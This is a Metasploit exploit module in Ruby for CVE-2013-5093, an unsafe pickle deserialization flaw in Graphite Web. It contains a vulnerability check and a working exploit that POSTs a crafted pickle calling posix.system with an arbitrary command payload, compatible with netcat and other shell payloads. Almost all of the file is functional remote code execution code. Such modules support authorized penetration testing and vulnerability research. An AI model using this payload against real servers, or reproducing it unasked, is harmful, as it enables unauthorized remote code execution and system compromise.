##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name' 			=> 'Graphite Web Unsafe Pickle Handling',
			'Description' 	=> %q{
				This module exploits a remote code execution vulnerability in the pickle
				handling of the rendering code in the Graphite Web project between version
				0.9.5 and 0.9.10(both included).
			},
			'Author' 		=>
				[
					'Charlie Eriksen' # Initial discovery and exploit
				],
			'License' 		=> MSF_LICENSE,
			'References'    =>
				[
					[ 'CVE', '2013-5093'],
					[ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
				],
			'Platform' 		 => 'unix',
			'Arch' 			 => ARCH_CMD,
			'Privileged' 	 => false,
			'Targets'		 => [ ['Automatic', {} ] ],
			'DisclosureDate' => 'Aug 20 2013',
			'DefaultTarget'  => 0,
			'Payload'		 =>
				{
					'DisableNops' => true,
					'Space'		  => 16384,
					'Compat'	  =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'python generic telnet netcat perl ruby'
						}
				}))

		register_options(
			[
				OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
			], self.class)

	end

	def check
		response = send_request_cgi({
			'uri' 	 => normalize_uri(target_uri.path, 'render', 'local'),
			'method' => 'POST'
		})

		if response and response.code == 500
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."

		print_status("Sending exploit payload...")

		response = send_request_cgi({
			'uri' 	 => normalize_uri(target_uri.path, 'render', 'local'),
			'method' => 'POST',
			'data' 	 => data
		})
	end
end